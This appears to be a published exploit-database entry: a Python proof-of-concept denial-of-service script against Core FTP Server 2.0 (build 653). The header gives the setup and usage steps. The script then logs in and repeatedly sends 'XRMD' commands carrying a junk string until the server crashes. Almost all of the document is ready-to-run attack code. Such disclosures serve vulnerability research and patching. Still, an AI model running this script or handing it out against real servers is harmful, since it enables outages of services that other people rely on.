# Exploit Title: Core FTP 2.0 - 'XRMD' Denial of Service (PoC)# Date: 2018-07-24# Exploit Author: Erik David Martin# Vendor Homepage: http://www.coreftp.com/# Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe# Version: Version 2.0, build 653, 32-bit# Tested on: Windows XP Professional, Version 2002, Service Pack 3# CVE: N/A# Proof of concept:# Create a new domain and set IP address# Use the default certificate by Core FTP Server# Set base directory# Create an anonymous user (anonymous:anonymous) for example# Set a path for the user# Start the server# Run exploit: python exploit.py *target ip* anonymous anonymous# Watch the server crash...# The exploit will work for any user, and not just anonymous
import sys
import socket
try:
host = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
except:
print("Usage: exploit.py *target ip* *username* *password*")
sys.exit()
mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#
mysocket.settimeout(2)try:
mysocket.connect((host,21))
mysocket.recv(1024)
print("\n[+] Connected\n")
except:
print("[-] Error! Could not connect to target")
sys.exit()
junk = ("asO8M.lFX[Gq<4<p(.P5eMLv]\2!G8jB_6Gx[I;I!aYa#oAi@kI<f.QFwkSBiQ,!")try:
mysocket.send("USER "+ username +"\r\n")
mysocket.recv(1024)
mysocket.send("PASS "+ password +"\r\n")
mysocket.recv(1024)
print("[+] Logged in as "+ username)
except:
print("[-] Error! Could not log in as "+ username)
sys.exit()
print("[+] Sending malicious request")while True:
try:
mysocket.send("XRMD "+ junk +"\r\n")
mysocket.recv(1024)
except:
print("[+] Target is down\n")
sys.exit()